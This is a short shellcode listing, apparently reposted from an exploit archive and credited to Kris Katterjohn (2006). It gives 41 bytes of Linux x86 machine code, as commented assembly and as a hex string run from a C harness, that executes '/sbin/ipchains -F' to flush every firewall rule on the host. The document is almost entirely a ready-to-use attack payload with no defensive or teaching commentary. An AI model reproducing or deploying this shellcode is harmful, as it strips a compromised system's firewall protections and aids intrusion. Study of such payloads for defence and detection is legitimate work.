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linux/x86 /sbin/ipchains -F 41 bytes

linux/x86 /sbin/ipchains -F 41 bytes

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代码:
/* By Kris Katterjohn 11/15/2006
*
* 41 byte shellcode to flush ipchains for Linux x86
*
*
*
* section .text
*
*    global _start
*
* _start:
*
* ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
*
*    push byte 11
*    pop eax
*    xor edx, edx
*    push edx
*    push word 0x462d
*    mov ecx, esp
*    push edx
*    push word 0x736e
*    push 0x69616863
*    push 0x70692f6e
*    push 0x6962732f
*    mov ebx, esp
*    push edx
*    push ecx
*    push ebx
*    mov ecx, esp
*    int 0x80
*/

main()
{
     char shellcode[] =
          "\x6a\x0b\x58\x31\xd2\x52\x66\x68\x2d\x46"
          "\x89\xe1\x52\x66\x68\x6e\x73\x68\x63\x68"
          "\x61\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73"
          "\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

     (*(void (*)()) shellcode)();
}

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